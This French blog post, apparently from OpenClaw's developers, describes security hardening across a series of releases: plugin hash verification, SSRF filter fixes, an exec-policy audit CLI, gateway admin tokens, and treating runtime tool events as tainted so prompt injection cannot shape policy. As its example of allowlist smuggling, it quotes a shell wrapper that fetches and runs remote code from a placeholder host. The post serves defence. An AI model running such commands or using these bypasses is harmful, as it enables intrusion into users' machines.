La majeure partie de cette série de releases n'apparaîtra pas dans une capture d'écran. Dix jours, huit releases, et le gros du diff se trouve à des endroits que tu ne regardes jamais sauf si quelque chose tourne mal — le loader de plugins, le résolveur d'URL de l'outil browser, les endpoints de config du gateway, les tables d'allowlist, le manifest de dépendances. Le travail de sécurité est silencieux par conception. Ce post, c'est la version longue de ce silence.
Si tu fais tourner OpenClaw sur un laptop qui héberge aussi tes clés SSH, ton gestionnaire de mots de passe, ta déclaration d'impôts en cours, et un navigateur connecté à tout — continue à lire. C'est la série de releases qui a changé ce que le homard a le droit de toucher.
Les plugins sont maintenant vérifiés, pas seulement téléchargés
Avant 4.7, installer un plugin depuis le registry faisait ce à quoi tu t'attendais : tirer l'archive, la dépaqueter, l'exécuter. Le registry lui-même était considéré comme de confiance ; l'archive n'était pas re-vérifiée. Si le CDN du registry était remplacé en plein transit, ou si un mirror était empoisonné, ou si quelqu'un interceptait en bordure, le homard installait joyeusement ce qui revenait.
4.7 ferme ça. Chaque archive de plugin est désormais épinglée à un hash SHA-256 au moment de la publication, et l'installateur refuse de dépaqueter quoi que ce soit dont les octets ne correspondent pas. Si tu écris des plugins, le flux openclaw plugin publish pose maintenant le hash dans le manifest automatiquement — tu n'as rien à faire. Si tu installes des plugins, le premier signe qu'un truc cloche est une erreur propre au lieu d'une installation silencieuse.
La suite en 4.9 a étendu la même vérification aux mises à jour de plugins, qui sautaient discrètement le check au prétexte que l'ancienne version avait déjà passé. C'est exactement le genre d'hypothèse que les attaquants cherchent. C'est fini.
Le filtre SSRF de l'outil browser, en trois passes
L'outil browser laisse le homard récupérer des pages, suivre des liens, exécuter de petites quantités de JavaScript et rendre ce qu'il trouve. C'est l'un des trucs les plus utiles du produit et aussi l'un des plus dangereux — tout ce qui récupère des URL au nom d'un LLM peut être convaincu de récupérer la mauvaise URL. Server-Side Request Forgery (SSRF) est le nom poli de ce mode de défaillance.
En dix jours, le filtre SSRF a été réécrit trois fois.
4.7 a resserré le check d'allowlist d'hôtes pour qu'il tourne après la résolution DNS, pas avant. L'ancienne version comparait la chaîne du hostname contre l'allowlist, puis résolvait. Ça voulait dire qu'un hostname qui avait l'air externe mais qui résolvait à 127.0.0.1 via un enregistrement DNS contrôlé pouvait passer au travers. Maintenant, l'IP résolue est vérifiée contre la denylist des plages privées et loopback, et si elle tombe dedans, la requête est refusée quelle que soit la tête du nom.
4.9 a ajouté la couverture IPv6. La passe précédente gérait 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8 et le link-local — tout en IPv4. Les équivalents IPv6 (fc00::/7, fe80::/10, ::1) étaient techniquement couverts par le fallback "pas dans l'allowlist" mais n'avaient jamais été testés de bout en bout. 4.9 en fait des denies de première classe et ajoute la matrice de tests.
4.10 a fermé une faille de suivi de redirect. Si la première URL passait le filtre mais émettait un 302 vers une IP privée, la redirection était suivie sans re-vérification. Chaque saut dans une chaîne de redirects est désormais filtré indépendamment. L'outil browser suivra toute la journée une redirection d'un hôte public vers un autre hôte public ; il n'en suivra pas une d'un hôte public vers 169.254.169.254, qui est l'adresse qui compte si jamais tu fais tourner ça dans une instance cloud.
4.14 est celle qui va provoquer une vraie rupture de compatibilité pour certains. Elle désactive complètement les URL file:// depuis la surface de l'outil browser. Lire des fichiers locaux via l'outil browser était un effet de bord non documenté sur lequel une poignée de workflows avaient commencé à s'appuyer, et c'était un mauvais choix : les lectures de fichiers locaux appartiennent à l'outil file, qui a sa propre histoire de sandboxing. Si tu utilisais browser.open('file://...') comme raccourci, tu dois passer à file.read et accepter l'allowlist que cet outil impose dans ta config.
Un nouveau CLI pour auditer ce que le homard peut exécuter
4.10 livre openclaw exec-policy — un CLI en lecture seule qui vide la policy effective d'exécution shell pour le workspace courant. Il te dit, sur un écran, quelles commandes sont sur l'allowlist, lesquelles sont refusées, lesquelles demandent confirmation, et quelle est la source de chaque règle (config utilisateur, config workspace, plugin, défaut).
C'est le truc à lancer après avoir installé un nouveau plugin. Les plugins peuvent enregistrer des commandes shell ; la plupart sont sans danger ; quelques-unes élargissent discrètement ce que le homard a le droit d'exécuter. Avant 4.10, il n'y avait pas de surface unique pour voir le résultat combiné — il fallait lire plusieurs fichiers de config et raisonner sur la précédence. C'est maintenant une seule commande, et la sortie est assez stable pour qu'on la pipe dans un test.
Le changement compagnon en 4.12 est plus petit mais vicieux : la couche d'exec détecte maintenant les invocations de wrapper shell qui tentent de faire passer en douce des commandes à côté de l'allowlist. Le pattern classique, c'est bash -c 'curl evil.example | sh' quand bash est autorisé et curl ne l'est pas. La détection de wrapper repère la forme -c, déballe la chaîne de commande interne, et fait passer la commande interne par l'allowlist comme si elle avait été appelée directement. Si la commande interne aurait été refusée, le wrapper externe l'est aussi.
Les endpoints de config du gateway ont eu droit à des gardes
Si tu fais tourner OpenClaw en mode gateway — le mode où plusieurs clients partagent une instance de homard — le gateway expose une petite API d'admin pour lire et écrire la config du serveur. 4.7 et 4.14 ont resserré ce bout-là.
4.7 a séparé config.apply (remplacer toute la config) et config.patch (merger une mise à jour partielle). Les deux existaient avant mais partageaient un même code path, et la sémantique du merge était assez sous-spécifiée pour qu'on puisse effacer une clé admin imbriquée en patchant une clé sœur. La séparation donne à chaque verbe son propre validateur. Les patches sont maintenant de vrais deep merges avec la suppression explicite qui exige la sentinelle $delete ; les applies exigent une config entière valide, sinon la requête est refusée.
4.14 a ajouté une exigence de signed-token sur les deux endpoints quand le gateway est bindé à autre chose que localhost. Si tu faisais tourner le gateway sur une machine de dev avec --host 0.0.0.0 en comptant sur la segmentation réseau pour tenir les gens à l'écart — le gateway refuse maintenant de démarrer dans cette configuration à moins que tu ne passes aussi --admin-token, ou que tu ne fasses opt-out explicitement avec --admin-insecure. Le nom du flag est délibérément moche. Tu dois taper le mot "insecure" toi-même pour récupérer l'ancien comportement.
Des credentials qui étaient accidentellement des données de template
4.12 a réparé un truc moche qu'on traînait depuis longtemps : le fichier .env.example livré avec les nouveaux workspaces contenait des clés API placeholder qui avaient l'air assez réelles pour qu'au moins un utilisateur les ait committées dans un repo public en pensant que c'étaient des valeurs bidons. C'étaient bien des valeurs bidons — les valeurs étaient toutes des chaînes de zéros et invalides chez n'importe quel provider — mais elles avaient la forme de credentials et les linters qu'on a vérifiés les signalaient comme fuitées. Le nouveau .env.example utilise des tokens visiblement faux (REPLACE_ME_OR_I_WILL_FAIL), et le flux de openclaw init refuse d'écrire un fichier .env qui contient l'une de ces valeurs sentinelles.
Petit truc. Conséquence faible. Mais le coût pour le corriger, c'était un après-midi, et le coût de ne pas le corriger, c'était un incident public de plus qu'on aurait eu à expliquer.
Les frontières d'allowlist, resserrées en douce
À travers chaque release de la série, les tables d'allowlist qui se trouvent entre le homard et le monde extérieur ont été resserrées de façon petite et spécifique :
- •4.5 : le répertoire de sortie de l'outil musique est maintenant par défaut
./generated/music, et plus à l'endroit que le workspace considère comme "output" sur un malentendu. - •4.7 : les sources d'import de mémoire sont restreintes à
file://,https://et à des URL spécifiques de providers. Le vieux code acceptait n'importe quel schéma d'URL queurllibsavait parser, ce qui comprenait quelques surprises. - •4.9 : le chemin d'upload de l'outil de génération vidéo n'accepte plus de chemins absolus hors du root du workspace.
- •4.10 : les manifests de plugins ne peuvent plus déclarer
*comme pattern d'allowlist. Ils doivent nommer des domaines ou des méthodes spécifiques. - •4.14 : le client dédié du provider Codex respecte une allowlist séparée de celle de l'unifié, donc resserrer Codex ne relâche pas accidentellement tout le reste.
Aucun de ces éléments pris isolément n'est une histoire. Pris ensemble, ils déplacent le rayon d'explosion dans la bonne direction.
La confiance dans les événements de runtime, déclassée
Un changement plus subtil qui traverse 4.7, 4.9 et 4.14 : les événements qui viennent du runtime (invocations d'outils, sorties de modèle, callbacks de plugins) ne sont plus traités comme une entrée de confiance pour le moteur de policy. Avant, un outil qui émettait un événement structuré pouvait influencer des décisions d'allowlist ultérieures à travers des données qu'il contrôlait lui-même — le mode de défaillance classique "la prompt injection touche la couche policy". Les événements de runtime passent maintenant par une étape de sanitization séparée avant de pouvoir affecter toute évaluation de policy ultérieure, et le moteur de policy traite tout champ dont la provenance est "runtime" comme tainted sauf si un opérateur humain l'a explicitement épinglé.
En pratique, ça veut dire que certains workflows edge-case qui comptaient sur la sortie d'outil du homard pour rétrécir son propre comportement vont devoir être réécrits. La façon voulue de rétrécir le comportement, c'est maintenant d'écrire une règle de policy, pas de faire émettre un hint par un outil. Si tu tombes dessus, le CLI exec-policy de 4.10 est l'outil de diagnostic.
Audit de dépendances
4.9 et 4.14 ont tous les deux fait tourner des passes complètes de cargo audit et npm audit et remonté chaque dépendance transitive avec un avis ouvert. Rien dans la liste n'était exploité contre OpenClaw, pour autant qu'on puisse en juger ; c'est de la maintenance, pas de la réponse à incident. Les bumps sont ennuyeux à dessein.
Le seul bump pas ennuyeux : la bibliothèque WebSocket utilisée par le gateway a sauté une version majeure en 4.14, ce qui a changé la façon dont les close frames signalent leur reason code. Si tu avais du code qui lisait event.reason sur le signal de déconnexion socket du gateway, c'est maintenant une chaîne au lieu d'un buffer. C'est une rupture de compatibilité. C'est signalé dans le changelog 4.14.
Le nouveau signal : audit de sécurité assisté par IA
Le dernier truc qui mérite d'être nommé — 4.14 a introduit un workflow interne où un second modèle review les diffs relevant de la sécurité avant qu'ils n'atterrissent. Il ne bloque pas les merges ; il laisse des commentaires. Dans cette série, il a attrapé deux choses qu'une review humaine avait laissées passer : le trou IPv6 dans la réécriture SSRF de 4.9 (qui a été corrigé avant le merge) et l'ambiguïté de la sentinelle $delete dans le split config.patch de 4.7 (qui est devenue le validateur explicite au lieu de l'implicite).
On ne veut pas survendre ça. Un second modèle n'est pas un remplacement pour un second humain. Mais c'est une seconde passe, et sur dix jours de travail de sécurité qui avance vite, c'était la passe qui a attrapé les deux choses qui seraient sinon parties en prod. Elle reste.
La version courte
Si tu ne dois retenir qu'une chose de ce post : lance openclaw update pour passer à 4.14, puis lance une fois openclaw exec-policy pour voir ce que le homard peut réellement faire sur ta machine. Si la sortie te surprend, resserre. Tout l'intérêt des dix derniers jours, c'est que tu peux le faire.
Et si tu es un de ceux qui font tourner le gateway sur --host 0.0.0.0 sans admin token — s'il te plaît, va régler ça avant de lancer openclaw update, parce que 4.14 refusera de démarrer tant que tu ne l'auras pas fait, et on préfère que tu lises d'abord ce post plutôt que tu lises le message d'erreur en supposant qu'un truc est cassé.
